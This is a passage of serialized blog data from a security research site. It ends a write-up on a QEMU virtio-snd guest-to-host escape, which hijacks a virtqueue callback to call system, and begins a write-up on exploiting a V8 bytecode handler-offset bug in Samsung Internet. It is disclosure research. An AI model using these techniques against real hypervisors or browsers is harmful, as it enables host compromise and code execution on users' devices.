",{"type":20,"tag":315,"props":129695,"children":129696},{"style":334},[129697],{"type":26,"value":901},{"type":20,"tag":315,"props":129699,"children":129700},{"style":328},[129701],{"type":26,"value":129702},"vdev;\n",{"type":20,"tag":315,"props":129704,"children":129705},{"class":317,"line":421},[129706],{"type":20,"tag":315,"props":129707,"children":129708},{"emptyLinePlaceholder":15},[129709],{"type":26,"value":427},{"type":20,"tag":315,"props":129711,"children":129712},{"class":317,"line":430},[129713],{"type":20,"tag":315,"props":129714,"children":129715},{"style":328},[129716],{"type":26,"value":103059},{"type":20,"tag":315,"props":129718,"children":129719},{"class":317,"line":453},[129720],{"type":20,"tag":315,"props":129721,"children":129722},{"style":328},[129723],{"type":26,"value":14979},{"type":20,"tag":29,"props":129725,"children":129726},{},[129727,129728,129734,129736,129742],{"type":26,"value":15015},{"type":20,"tag":119,"props":129729,"children":129731},{"className":129730},[],[129732],{"type":26,"value":129733},".handle_output",{"type":26,"value":129735}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":20,"tag":119,"props":129737,"children":129739},{"className":129738},[],[129740],{"type":26,"value":129741},".vdev",{"type":26,"value":129743}," is the pointer passed to it as the first argument:",{"type":20,"tag":305,"props":129745,"children":129747},{"code":129746,"language":1528,"meta":7,"className":14916,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n if (vq->vring.desc && vq->handle_output) {\n VirtIODevice *vdev = vq->vdev;\n\n [...]\n\n vq->handle_output(vdev, vq);\n\n [...]\n }\n}\n",[129748],{"type":20,"tag":119,"props":129749,"children":129750},{"__ignoreMap":7},[129751,129784,129791,129846,129883,129890,129897,129904,129925,129932,129939,129946],{"type":20,"tag":315,"props":129752,"children":129753},{"class":317,"line":318},[129754,129758,129762,129767,129772,129776,129780],{"type":20,"tag":315,"props":129755,"children":129756},{"style":541},[129757],{"type":26,"value":49296},{"type":20,"tag":315,"props":129759,"children":129760},{"style":541},[129761],{"type":26,"value":49301},{"type":20,"tag":315,"props":129763,"children":129764},{"style":345},[129765],{"type":26,"value":129766}," virtio_queue_notify_vq",{"type":20,"tag":315,"props":129768,"children":129769},{"style":328},[129770],{"type":26,"value":129771},"(VirtQueue ",{"type":20,"tag":315,"props":129773,"children":129774},{"style":334},[129775],{"type":26,"value":901},{"type":20,"tag":315,"props":129777,"children":129778},{"style":635},[129779],{"type":26,"value":122130},{"type":20,"tag":315,"props":129781,"children":129782},{"style":328},[129783],{"type":26,"value":380},{"type":20,"tag":315,"props":129785,"children":129786},{"class":317,"line":356},[129787],{"type":20,"tag":315,"props":129788,"children":129789},{"style":328},[129790],{"type":26,"value":723},{"type":20,"tag":315,"props":129792,"children":129793},{"class":317,"line":365},[129794,129798,129802,129806,129810,129815,129819,129824,129828,129833,129837,129842],{"type":20,"tag":315,"props":129795,"children":129796},{"style":525},[129797],{"type":26,"value":10680},{"type":20,"tag":315,"props":129799,"children":129800},{"style":328},[129801],{"type":26,"value":463},{"type":20,"tag":315,"props":129803,"children":129804},{"style":635},[129805],{"type":26,"value":122130},{"type":20,"tag":315,"props":129807,"children":129808},{"style":328},[129809],{"type":26,"value":12158},{"type":20,"tag":315,"props":129811,"children":129812},{"style":635},[129813],{"type":26,"value":129814},"vring",{"type":20,"tag":315,"props":129816,"children":129817},{"style":328},[129818],{"type":26,"value":61},{"type":20,"tag":315,"props":129820,"children":129821},{"style":635},[129822],{"type":26,"value":129823},"desc",{"type":20,"tag":315,"props":129825,"children":129826},{"style":334},[129827],{"type":26,"value":12586},{"type":20,"tag":315,"props":129829,"children":129830},{"style":635},[129831],{"type":26,"value":129832}," vq",{"type":20,"tag":315,"props":129834,"children":129835},{"style":328},[129836],{"type":26,"value":12158},{"type":20,"tag":315,"props":129838,"children":129839},{"style":635},[129840],{"type":26,"value":129841},"handle_output",{"type":20,"tag":315,"props":129843,"children":129844},{"style":328},[129845],{"type":26,"value":549},{"type":20,"tag":315,"props":129847,"children":129848},{"class":317,"line":374},[129849,129854,129858,129863,129867,129871,129875,129879],{"type":20,"tag":315,"props":129850,"children":129851},{"style":328},[129852],{"type":26,"value":129853}," VirtIODevice ",{"type":20,"tag":315,"props":129855,"children":129856},{"style":334},[129857],{"type":26,"value":901},{"type":20,"tag":315,"props":129859,"children":129860},{"style":328},[129861],{"type":26,"value":129862},"vdev ",{"type":20,"tag":315,"props":129864,"children":129865},{"style":334},[129866],{"type":26,"value":337},{"type":20,"tag":315,"props":129868,"children":129869},{"style":635},[129870],{"type":26,"value":129832},{"type":20,"tag":315,"props":129872,"children":129873},{"style":328},[129874],{"type":26,"value":12158},{"type":20,"tag":315,"props":129876,"children":129877},{"style":635},[129878],{"type":26,"value":122116},{"type":20,"tag":315,"props":129880,"children":129881},{"style":328},[129882],{"type":26,"value":1405},{"type":20,"tag":315,"props":129884,"children":129885},{"class":317,"line":383},[129886],{"type":20,"tag":315,"props":129887,"children":129888},{"emptyLinePlaceholder":15},[129889],{"type":26,"value":427},{"type":20,"tag":315,"props":129891,"children":129892},{"class":317,"line":407},[129893],{"type":20,"tag":315,"props":129894,"children":129895},{"style":328},[129896],{"type":26,"value":122297},{"type":20,"tag":315,"props":129898,"children":129899},{"class":317,"line":421},[129900],{"type":20,"tag":315,"props":129901,"children":129902},{"emptyLinePlaceholder":15},[129903],{"type":26,"value":427},{"type":20,"tag":315,"props":129905,"children":129906},{"class":317,"line":430},[129907,129912,129916,129920],{"type":20,"tag":315,"props":129908,"children":129909},{"style":635},[129910],{"type":26,"value":129911}," vq",{"type":20,"tag":315,"props":129913,"children":129914},{"style":328},[129915],{"type":26,"value":12158},{"type":20,"tag":315,"props":129917,"children":129918},{"style":345},[129919],{"type":26,"value":129841},{"type":20,"tag":315,"props":129921,"children":129922},{"style":328},[129923],{"type":26,"value":129924},"(vdev, vq);\n",{"type":20,"tag":315,"props":129926,"children":129927},{"class":317,"line":453},[129928],{"type":20,"tag":315,"props":129929,"children":129930},{"emptyLinePlaceholder":15},[129931],{"type":26,"value":427},{"type":20,"tag":315,"props":129933,"children":129934},{"class":317,"line":486},[129935],{"type":20,"tag":315,"props":129936,"children":129937},{"style":328},[129938],{"type":26,"value":122297},{"type":20,"tag":315,"props":129940,"children":129941},{"class":317,"line":499},[129942],{"type":20,"tag":315,"props":129943,"children":129944},{"style":328},[129945],{"type":26,"value":1736},{"type":20,"tag":315,"props":129947,"children":129948},{"class":317,"line":513},[129949],{"type":20,"tag":315,"props":129950,"children":129951},{"style":328},[129952],{"type":26,"value":577},{"type":20,"tag":29,"props":129954,"children":129955},{},[129956,129958,129963,129965,129970,129972,129978,129980,129985,129986,129991,129993,129998],{"type":26,"value":129957},"This means that if we free the known-address chunk and replace it with a ",{"type":20,"tag":119,"props":129959,"children":129961},{"className":129960},[],[129962],{"type":26,"value":122783},{"type":26,"value":129964}," - which is straightforward, since we control the buffer allocation size through the ",{"type":20,"tag":119,"props":129966,"children":129968},{"className":129967},[],[129969],{"type":26,"value":122371},{"type":26,"value":129971}," iovec - we can use the arbitrary read primitive to read its ",{"type":20,"tag":119,"props":129973,"children":129975},{"className":129974},[],[129976],{"type":26,"value":129977},".vq",{"type":26,"value":129979}," pointer, then follow that pointer to leak ",{"type":20,"tag":119,"props":129981,"children":129983},{"className":129982},[],[129984],{"type":26,"value":129733},{"type":26,"value":14454},{"type":20,"tag":119,"props":129987,"children":129989},{"className":129988},[],[129990],{"type":26,"value":129635},{"type":26,"value":129992}," structure. In our case, that field points to ",{"type":20,"tag":119,"props":129994,"children":129996},{"className":129995},[],[129997],{"type":26,"value":122023},{"type":26,"value":129999},", which gives us QEMU's base address.",{"type":20,"tag":29,"props":130001,"children":130002},{},[130003,130005,130011],{"type":26,"value":130004},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":20,"tag":119,"props":130006,"children":130008},{"className":130007},[],[130009],{"type":26,"value":130010},"system",{"type":26,"value":61},{"type":20,"tag":219,"props":130013,"children":130015},{"id":130014},"rip-control",[130016],{"type":26,"value":130017},"RIP Control",{"type":20,"tag":29,"props":130019,"children":130020},{},[130021,130023,130028,130030,130036],{"type":26,"value":130022},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":20,"tag":119,"props":130024,"children":130026},{"className":130025},[],[130027],{"type":26,"value":130010},{"type":26,"value":130029},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":20,"tag":119,"props":130031,"children":130033},{"className":130032},[],[130034],{"type":26,"value":130035},"VirtQueue.handle_output",{"type":26,"value":61},{"type":20,"tag":29,"props":130038,"children":130039},{},[130040,130042,130047,130049,130054,130056,130061],{"type":26,"value":130041},"We overwrite ",{"type":20,"tag":119,"props":130043,"children":130045},{"className":130044},[],[130046],{"type":26,"value":129733},{"type":26,"value":130048}," with the address of ",{"type":20,"tag":119,"props":130050,"children":130052},{"className":130051},[],[130053],{"type":26,"value":130010},{"type":26,"value":130055}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":20,"tag":119,"props":130057,"children":130059},{"className":130058},[],[130060],{"type":26,"value":129741},{"type":26,"value":130062}," with the address of that command string, so it is passed as the first argument.",{"type":20,"tag":29,"props":130064,"children":130065},{},[130066,130068,130074,130076,130082,130084,130090],{"type":26,"value":130067},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":20,"tag":119,"props":130069,"children":130071},{"className":130070},[],[130072],{"type":26,"value":130073},"virtio_queue_notify_vq",{"type":26,"value":130075},", which calls ",{"type":20,"tag":119,"props":130077,"children":130079},{"className":130078},[],[130080],{"type":26,"value":130081},"vq->handle_output(vq->vdev)",{"type":26,"value":130083}," - or, after our overwrites, ",{"type":20,"tag":119,"props":130085,"children":130087},{"className":130086},[],[130088],{"type":26,"value":130089},"system(command)",{"type":26,"value":61},{"type":20,"tag":29,"props":130092,"children":130093},{},[130094,130096,130102,130104],{"type":26,"value":130095},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":20,"tag":119,"props":130097,"children":130099},{"className":130098},[],[130100],{"type":26,"value":130101},"gnome-calculator",{"type":26,"value":130103}," on the host system:\n",{"type":20,"tag":29384,"props":130105,"children":130106},{},[],{"type":20,"tag":130108,"props":130109,"children":130118},"tweet-card",{"author-name":130110,"date":130111,"duration":130112,"handle":130113,"media-mime-type":130114,"media-src":130115,"media-type":130116,"tweet-url":130117},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[130119,130124,130129],{"type":20,"tag":29,"props":130120,"children":130121},{},[130122],{"type":26,"value":130123},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":20,"tag":29,"props":130125,"children":130126},{},[130127],{"type":26,"value":130128},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":20,"tag":29,"props":130130,"children":130131},{},[130132],{"type":26,"value":130133},"Writeup coming next week.",{"type":20,"tag":29384,"props":130135,"children":130136},{},[],{"type":20,"tag":29,"props":130138,"children":130139},{},[130140,130142,130148,130150,130156],{"type":26,"value":130141},"The final exploit, targeting QEMU commit ",{"type":20,"tag":119,"props":130143,"children":130145},{"className":130144},[],[130146],{"type":26,"value":130147},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":26,"value":130149}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":20,"tag":35,"props":130151,"children":130154},{"href":130152,"rel":130153},"https://github.com/otter-sec/qemu-escape",[39],[130155],{"type":26,"value":45835},{"type":26,"value":61},{"type":20,"tag":29,"props":130158,"children":130159},{},[130160,130162,130169],{"type":26,"value":130161},"Special thanks to ",{"type":20,"tag":35,"props":130163,"children":130166},{"href":130164,"rel":130165},"https://www.willsroot.io/",[39],[130167],{"type":26,"value":130168},"William Liu",{"type":26,"value":130170}," for proofreading this post and helping us polish it before publication.",{"type":20,"tag":21,"props":130172,"children":130173},{"id":1211},[130174],{"type":26,"value":1214},{"type":20,"tag":29,"props":130176,"children":130177},{},[130178],{"type":26,"value":130179},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host escape.",{"type":20,"tag":29,"props":130181,"children":130182},{},[130183],{"type":26,"value":130184},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":20,"tag":1226,"props":130186,"children":130187},{},[130188],{"type":26,"value":1230},{"title":7,"searchDepth":356,"depth":356,"links":130190},[130191,130194,130197,130206],{"id":121919,"depth":356,"text":121932,"children":130192},[130193],{"id":121940,"depth":365,"text":121943},{"id":121964,"depth":356,"text":121967,"children":130195},[130196],{"id":121978,"depth":365,"text":121978},{"id":98366,"depth":356,"text":98369,"children":130198},[130199,130200,130201,130202,130203,130204,130205],{"id":124570,"depth":365,"text":124573},{"id":126097,"depth":365,"text":126100},{"id":126891,"depth":365,"text":126894},{"id":127296,"depth":365,"text":127299},{"id":127512,"depth":365,"text":127515},{"id":127718,"depth":365,"text":127721},{"id":130014,"depth":365,"text":130017},{"id":1211,"depth":356,"text":1214},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":130211,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":130212,"description":130213,"date":130214,"author":130215,"image":130218,"isFeatured":15,"onBlogPage":15,"tags":130220,"body":130223,"_type":1242,"_id":140131,"_source":1244,"_file":140132,"_stem":140133,"_extension":1247},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[121915,130216,130217],"jamie","william",{"src":130219,"width":95526,"height":12024},"/posts/mobile-renderer-rce/title.png",[130221,130222],"RCE","mobile",{"type":17,"children":130224,"toc":140111},[130225,130229,130234,130248,130254,130268,130289,130297,130310,130318,130331,130337,130350,130364,130370,130384,130487,130492,130500,130505,130510,130531,130609,130617,130636,130649,130655,130661,130675,130791,130796,130801,130809,130814,130822,130850,130879,130891,131067,131072,131080,131099,131112,131118,131138,131152,131157,131162,131190,131226,131295,131301,131323,131328,131336,131349,131354,131362,131367,131406,131412,131425,131430,131608,131618,131626,131646,131670,131683,131689,131694,132336,132341,132349,132391,134380,134385,134393,134399,134432,134450,134620,134678,134703,134797,134802,135593,135598,135606,135617,137661,137666,137674,137680,137702,137716,137729,137741,137771,137776,138217,138245,138352,138369,138526,138531,138543,138839,138865,138888,139020,139032,139037,139189,139225,139238,139243,139365,139406,139483,139488,140062,140068,140080,140093,140097,140102,140107],{"type":20,"tag":21,"props":130226,"children":130227},{"id":23},[130228],{"type":26,"value":27},{"type":20,"tag":29,"props":130230,"children":130231},{},[130232],{"type":26,"value":130233},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":20,"tag":29,"props":130235,"children":130236},{},[130237,130239,130246],{"type":26,"value":130238},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":20,"tag":35,"props":130240,"children":130243},{"href":130241,"rel":130242},"https://cor.team",[39],[130244],{"type":26,"value":130245},"Crusaders of Rust",{"type":26,"value":130247}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":20,"tag":219,"props":130249,"children":130251},{"id":130250},"finding-the-v8-version",[130252],{"type":26,"value":130253},"Finding the V8 Version",{"type":20,"tag":29,"props":130255,"children":130256},{},[130257,130259,130266],{"type":26,"value":130258},"We started by pulling Samsung Internet's APK from the device over ",{"type":20,"tag":35,"props":130260,"children":130263},{"href":130261,"rel":130262},"https://developer.android.com/tools/adb",[39],[130264],{"type":26,"value":130265},"adb",{"type":26,"value":130267}," and inspecting the libraries it shipped with.",{"type":20,"tag":29,"props":130269,"children":130270},{},[130271,130273,130279,130281,130287],{"type":26,"value":130272},"After extracting the APK, we searched the ",{"type":20,"tag":119,"props":130274,"children":130276},{"className":130275},[],[130277],{"type":26,"value":130278},"lib/",{"type":26,"value":130280}," directory for ",{"type":20,"tag":119,"props":130282,"children":130284},{"className":130283},[],[130285],{"type":26,"value":130286},"v8::*",{"type":26,"value":130288}," symbols:",{"type":20,"tag":305,"props":130290,"children":130292},{"code":130291},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[130293],{"type":20,"tag":119,"props":130294,"children":130295},{"__ignoreMap":7},[130296],{"type":26,"value":130291},{"type":20,"tag":29,"props":130298,"children":130299},{},[130300,130302,130308],{"type":26,"value":130301},"Only one file matched our search: ",{"type":20,"tag":119,"props":130303,"children":130305},{"className":130304},[],[130306],{"type":26,"value":130307},"libterrace.so",{"type":26,"value":130309},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 version:",{"type":20,"tag":29,"props":130311,"children":130312},{},[130313],{"type":20,"tag":2308,"props":130314,"children":130317},{"alt":130315,"src":130316},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":20,"tag":29,"props":130319,"children":130320},{},[130321,130323,130329],{"type":26,"value":130322},"Surprisingly, this ",{"type":20,"tag":119,"props":130324,"children":130326},{"className":130325},[],[130327],{"type":26,"value":130328},"13.6.233.10",{"type":26,"value":130330}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":20,"tag":219,"props":130332,"children":130334},{"id":130333},"choosing-the-bug",[130335],{"type":26,"value":130336},"Choosing the Bug",{"type":20,"tag":29,"props":130338,"children":130339},{},[130340,130342,130348],{"type":26,"value":130341},"We were able to trigger a couple of bugs on our locally compiled ",{"type":20,"tag":119,"props":130343,"children":130345},{"className":130344},[],[130346],{"type":26,"value":130347},"d8",{"type":26,"value":130349}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":20,"tag":29,"props":130351,"children":130352},{},[130353,130355,130362],{"type":26,"value":130354},"Another one was ",{"type":20,"tag":35,"props":130356,"children":130359},{"href":130357,"rel":130358},"https://issuetracker.google.com/issues/443875388",[39],[130360],{"type":26,"value":130361},"CVE-2025-10891",{"type":26,"value":130363}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":20,"tag":21,"props":130365,"children":130367},{"id":130366},"ignition-bytecode-introduction",[130368],{"type":26,"value":130369},"Ignition Bytecode Introduction",{"type":20,"tag":29,"props":130371,"children":130372},{},[130373,130375,130382],{"type":26,"value":130374},"V8 initially compiles all JS code to a bytecode format with the ",{"type":20,"tag":35,"props":130376,"children":130379},{"href":130377,"rel":130378},"https://v8.dev/blog/ignition-interpreter",[39],[130380],{"type":26,"value":130381},"Ignition",{"type":26,"value":130383}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":20,"tag":305,"props":130385,"children":130387},{"code":130386,"language":29781,"meta":7,"className":29779,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 0xffffffff;\n",[130388],{"type":20,"tag":119,"props":130389,"children":130390},{"__ignoreMap":7},[130391,130414,130438,130462],{"type":20,"tag":315,"props":130392,"children":130393},{"class":317,"line":318},[130394,130398,130402,130406,130410],{"type":20,"tag":315,"props":130395,"children":130396},{"style":541},[130397],{"type":26,"value":10188},{"type":20,"tag":315,"props":130399,"children":130400},{"style":635},[130401],{"type":26,"value":88094},{"type":20,"tag":315,"props":130403,"children":130404},{"style":334},[130405],{"type":26,"value":1395},{"type":20,"tag":315,"props":130407,"children":130408},{"style":765},[130409],{"type":26,"value":2916},{"type":20,"tag":315,"props":130411,"children":130412},{"style":328},[130413],{"type":26,"value":1405},{"type":20,"tag":315,"props":130415,"children":130416},{"class":317,"line":356},[130417,130421,130425,130429,130434],{"type":20,"tag":315,"props":130418,"children":130419},{"style":541},[130420],{"type":26,"value":10188},{"type":20,"tag":315,"props":130422,"children":130423},{"style":635},[130424],{"type":26,"value":88968},{"type":20,"tag":315,"props":130426,"children":130427},{"style":334},[130428],{"type":26,"value":1395},{"type":20,"tag":315,"props":130430,"children":130431},{"style":765},[130432],{"type":26,"value":130433}," 0x0fff",{"type":20,"tag":315,"props":130435,"children":130436},{"style":328},[130437],{"type":26,"value":1405},{"type":20,"tag":315,"props":130439,"children":130440},{"class":317,"line":365},[130441,130445,130449,130453,130458],{"type":20,"tag":315,"props":130442,"children":130443},{"style":541},[130444],{"type":26,"value":10188},{"type":20,"tag":315,"props":130446,"children":130447},{"style":635},[130448],{"type":26,"value":35861},{"type":20,"tag":315,"props":130450,"children":130451},{"style":334},[130452],{"type":26,"value":1395},{"type":20,"tag":315,"props":130454,"children":130455},{"style":765},[130456],{"type":26,"value":130457}," 0x0fffffff",{"type":20,"tag":315,"props":130459,"children":130460},{"style":328},[130461],{"type":26,"value":1405},{"type":20,"tag":315,"props":130463,"children":130464},{"class":317,"line":374},[130465,130469,130474,130478,130483],{"type":20,"tag":315,"props":130466,"children":130467},{"style":541},[130468],{"type":26,"value":10188},{"type":20,"tag":315,"props":130470,"children":130471},{"style":635},[130472],{"type":26,"value":130473}," d",{"type":20,"tag":315,"props":130475,"children":130476},{"style":334},[130477],{"type":26,"value":1395},{"type":20,"tag":315,"props":130479,"children":130480},{"style":765},[130481],{"type":26,"value":130482}," 0xffffffff",{"type":20,"tag":315,"props":130484,"children":130485},{"style":328},[130486],{"type":26,"value":1405},{"type":20,"tag":29,"props":130488,"children":130489},{},[130490],{"type":26,"value":130491},"compiles to",{"type":20,"tag":305,"props":130493,"children":130495},{"code":130494}," # Load the Smi `1` into the accumulator\n 0 : 0d 01 LdaSmi [1]\n # Store it to register 0\n 2 : ce Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00 LdaConstant [0]\n# Store it to register 3\n17 : cb Star3\n18 : 0e LdaUndefined\n19 : b3 Return\n",[130496],{"type":20,"tag":119,"props":130497,"children":130498},{"__ignoreMap":7},[130499],{"type":26,"value":130494},{"type":20,"tag":29,"props":130501,"children":130502},{},[130503],{"type":26,"value":130504},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":20,"tag":219,"props":130506,"children":130508},{"id":130507},"cve-2025-10891",[130509],{"type":26,"value":130361},{"type":20,"tag":29,"props":130511,"children":130512},{},[130513,130515,130521,130523,130529],{"type":26,"value":130514},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":20,"tag":119,"props":130516,"children":130518},{"className":130517},[],[130519],{"type":26,"value":130520},"[start, end) => handler",{"type":26,"value":130522}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":20,"tag":119,"props":130524,"children":130526},{"className":130525},[],[130527],{"type":26,"value":130528},"handler",{"type":26,"value":130530}," is jumped to.",{"type":20,"tag":305,"props":130532,"children":130534},{"code":130533,"language":29781,"meta":7,"className":29779,"style":7},"try {\n throw 1;\n} catch {\n let b = 2;\n}\n",[130535],{"type":20,"tag":119,"props":130536,"children":130537},{"__ignoreMap":7},[130538,130549,130564,130579,130602],{"type":20,"tag":315,"props":130539,"children":130540},{"class":317,"line":318},[130541,130545],{"type":20,"tag":315,"props":130542,"children":130543},{"style":525},[130544],{"type":26,"value":46582},{"type":20,"tag":315,"props":130546,"children":130547},{"style":328},[130548],{"type":26,"value":1092},{"type":20,"tag":315,"props":130550,"children":130551},{"class":317,"line":356},[130552,130556,130560],{"type":20,"tag":315,"props":130553,"children":130554},{"style":525},[130555],{"type":26,"value":33617},{"type":20,"tag":315,"props":130557,"children":130558},{"style":765},[130559],{"type":26,"value":2916},{"type":20,"tag":315,"props":130561,"children":130562},{"style":328},[130563],{"type":26,"value":1405},{"type":20,"tag":315,"props":130565,"children":130566},{"class":317,"line":365},[130567,130571,130575],{"type":20,"tag":315,"props":130568,"children":130569},{"style":328},[130570],{"type":26,"value":1082},{"type":20,"tag":315,"props":130572,"children":130573},{"style":525},[130574],{"type":26,"value":46662},{"type":20,"tag":315,"props":130576,"children":130577},{"style":328},[130578],{"type":26,"value":1092},{"type":20,"tag":315,"props":130580,"children":130581},{"class":317,"line":374},[130582,130586,130590,130594,130598],{"type":20,"tag":315,"props":130583,"children":130584},{"style":541},[130585],{"type":26,"value":6251},{"type":20,"tag":315,"props":130587,"children":130588},{"style":635},[130589],{"type":26,"value":88968},{"type":20,"tag":315,"props":130591,"children":130592},{"style":334},[130593],{"type":26,"value":1395},{"type":20,"tag":315,"props":130595,"children":130596},{"style":765},[130597],{"type":26,"value":6330},{"type":20,"tag":315,"props":130599,"children":130600},{"style":328},[130601],{"type":26,"value":1405},{"type":20,"tag":315,"props":130603,"children":130604},{"class":317,"line":383},[130605],{"type":20,"tag":315,"props":130606,"children":130607},{"style":328},[130608],{"type":26,"value":577},{"type":20,"tag":305,"props":130610,"children":130612},{"code":130611}," 0 : 1b ff f8 Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01 LdaSmi [1]\n 5 : b1 Throw\n # ---------------------------------\n 6 : 10 LdaTheHole\n 7 : b0 SetPendingMessage\n # Start of catch handler\n 8 : 0d 02 LdaSmi [2]\n10 : ce Star0\n11 : 0e LdaUndefined\n12 : b3 Return\nHandler Table (size = 16)\n from to hdlr (prediction, data)\n ( 3, 6) -> 6 (prediction=1, data=1)\n",[130613],{"type":20,"tag":119,"props":130614,"children":130615},{"__ignoreMap":7},[130616],{"type":26,"value":130611},{"type":20,"tag":29,"props":130618,"children":130619},{},[130620,130622,130627,130629,130634],{"type":26,"value":130621},"However, the ",{"type":20,"tag":119,"props":130623,"children":130625},{"className":130624},[],[130626],{"type":26,"value":130528},{"type":26,"value":130628}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":20,"tag":119,"props":130630,"children":130632},{"className":130631},[],[130633],{"type":26,"value":46662},{"type":26,"value":130635}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":20,"tag":29,"props":130637,"children":130638},{},[130639,130641,130647],{"type":26,"value":130640},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":20,"tag":119,"props":130642,"children":130644},{"className":130643},[],[130645],{"type":26,"value":130646},"yield*",{"type":26,"value":130648}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":20,"tag":21,"props":130650,"children":130652},{"id":130651},"exploitation",[130653],{"type":26,"value":130654},"Exploitation",{"type":20,"tag":219,"props":130656,"children":130658},{"id":130657},"constant-smuggling",[130659],{"type":26,"value":130660},"Constant Smuggling",{"type":20,"tag":29,"props":130662,"children":130663},{},[130664,130666,130673],{"type":26,"value":130665},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":20,"tag":35,"props":130667,"children":130670},{"href":130668,"rel":130669},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[39],[130671],{"type":26,"value":130672},"technique",{"type":26,"value":130674}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":20,"tag":305,"props":130676,"children":130678},{"code":130677,"language":29781,"meta":7,"className":29779,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[130679],{"type":20,"tag":119,"props":130680,"children":130681},{"__ignoreMap":7},[130682,130710,130737,130764],{"type":20,"tag":315,"props":130683,"children":130684},{"class":317,"line":318},[130685,130689,130693,130697,130701,130706],{"type":20,"tag":315,"props":130686,"children":130687},{"style":541},[130688],{"type":26,"value":10188},{"type":20,"tag":315,"props":130690,"children":130691},{"style":635},[130692],{"type":26,"value":88094},{"type":20,"tag":315,"props":130694,"children":130695},{"style":334},[130696],{"type":26,"value":1395},{"type":20,"tag":315,"props":130698,"children":130699},{"style":334},[130700],{"type":26,"value":49507},{"type":20,"tag":315,"props":130702,"children":130703},{"style":765},[130704],{"type":26,"value":130705},"9.255963134931783e61",{"type":20,"tag":315,"props":130707,"children":130708},{"style":328},[130709],{"type":26,"value":1405},{"type":20,"tag":315,"props":130711,"children":130712},{"class":317,"line":356},[130713,130717,130721,130725,130729,130733],{"type":20,"tag":315,"props":130714,"children":130715},{"style":541},[130716],{"type":26,"value":10188},{"type":20,"tag":315,"props":130718,"children":130719},{"style":635},[130720],{"type":26,"value":88968},{"type":20,"tag":315,"props":130722,"children":130723},{"style":334},[130724],{"type":26,"value":1395},{"type":20,"tag":315,"props":130726,"children":130727},{"style":334},[130728],{"type":26,"value":49507},{"type":2